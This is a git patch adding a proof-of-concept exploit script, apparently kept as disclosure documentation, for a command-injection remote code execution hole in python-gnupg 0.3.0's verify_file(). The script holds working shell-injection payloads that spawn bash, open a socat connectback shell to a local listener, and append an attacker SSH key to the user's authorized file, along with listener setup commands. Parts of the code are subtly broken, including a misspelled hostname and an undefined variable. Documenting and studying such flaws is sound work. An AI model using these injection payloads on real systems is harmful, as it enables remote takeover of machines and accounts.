From 4bd0fa843176a112c054929fbe6dd99f45d718a2 Mon Sep 17 00:00:00 2001 From: Kali Kaneko Date: Mon, 18 Aug 2014 12:52:50 -0500 Subject: Imported Upstream version 1.3.1 --- docs/upstream-python-gnupg-POC-exploit.py | 120 ++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 docs/upstream-python-gnupg-POC-exploit.py (limited to 'docs/upstream-python-gnupg-POC-exploit.py') diff --git a/docs/upstream-python-gnupg-POC-exploit.py b/docs/upstream-python-gnupg-POC-exploit.py new file mode 100644 index 0000000..4bdc336 --- /dev/null +++ b/docs/upstream-python-gnupg-POC-exploit.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python +#-*- coding: utf-8 -*- +''' +python-gnupg-exploit.py +----------------------- +Remote code execution exploit for python-gnupg-0.3.0 gnupg.GPG.verify_file() +with a simple connectback call to a waiting server. Written on a train, +homeless in europe. Eurotrash like hell. + +You *absolutely* should run this in a virtualenv, and since this POC only runs +on localhost, you should probably bring down all other network interfaces +while playing with it, since by default it forks a connectback shell for every +TCP connection to localhost:8080. + +To run this POC, you should obtain the source for python-gnupg, copy this file +into the python-gnupg source directory, and then navigate into it: + + $ sudo apt-get source python-gnupg + $ cd python-gnupg-0.3.0/ + $ mv ./ + +To run the server half, do: + + $ python ./python-gnupg-exploit.py mallory + + it just listens on 8080 on localhost and lets you type stuff or pipe +whatever you want into the connection. After that, in another terminal, you +can do: + + $ python ./python-gnupg-exploit.py alice + + to run the the exploit, which connects to your waiting mallory server and +forks off a shell in a separate process. + +You can exploit gpg.GPG.verify_file() by calling it with +data_filename="\"\"" and the inner set of escaped double quotes are +important. You'll have to be tricky and find ways to not allow your code to +contain spaces, but it's the default system shell running under the UID and +GID of the parent caller for Python interpreter. It's even nicely in it's own +threading.Thread(), provided by gnupg.GPG._collect_output(). + +@authors: Isis Agora Lovecruft, 0x2cdb8b35 + All of the other Leap Encryption Access Project Python developers +@date: 7 February 2013 +@license: WTFPL, see [http://wtfpl.org/] +@copyright: ? 2013 Isis Lovecruft +''' + +from os import getcwd, path + +import gnupg +import sys + + +def usage(): + """Because dying should be about sending a message.""" + msg = "You need to download the source for python-gnupg before using this! " + msg += "Please try again after placing this file in the python-gnupg-0.3.0/" + msg += " directory. See the docstring for this file if you need more help." + msg += "\nExiting..." + raise SystemExit(msg) + +class Alice(object): + """Client code.""" + + def __init__(self, file=None): + here = getcwd() + self.gpg = gnupg.GPG(gnupghome=here) + self.log = path.join(here, 'alice.log') + + if file is not None: + self.file = file + else: + ## this is probably equivalent to saying "eat your heart out, + ## gnupg"... + self.file = path.join(getcwd(), 'LICENSE') + + def exploit(self, shellcode=None): + """POC example.""" + bad = None + with open(self.file) as worse: + bad = self.gpg.verify_file(worse, shellcode) + return bad + + def code_exec(self): + """This forks a local bash shell.""" + self.exploit("\"&coproc /bin/bash\"") + + def remote_code_exec(self): + """ + You know that part in The Matrix where Neo is sleeping on his + keyboard, and then Trinity types stuff on his terminal? This does + that. + """ + client = ("\"&`socat -d -d -d -d -lf " + self.log + + " - TCP-CONNECT:localost:8080,crnl`\"") + self.exploit(client) + + def ssh_append(self): + """ + This appends mallory's id_rsa.pub to alice's authorized_hosts file. + """ + append = ("\"&`socat -d -d -d -d -lf " + alice_log + + " OPEN:" + path.expanduser('~/.ssh/authorized_hosts') + + ",creat,append,end-close " + + "TCP-CONNECT:localhost:8080,reuseaddr,retry=3,fork`\"") + self.exploit(append) + +if __name__ == "__main__": + + ## don't run if they didn't follow the instructions: + here = getcwd() + if not here.endswith('python-gnupg-0.3.0'): + usage() + else: + print "To run the corresponding listener, in another shell do:\n" + print " $ socat -d -d -d -d -lf mallory.log - \ " + print " TCP-LISTEN:8080,reuseaddr,fork" + alice = Alice() + alice.remote_code_exec() -- cgit v1.2.3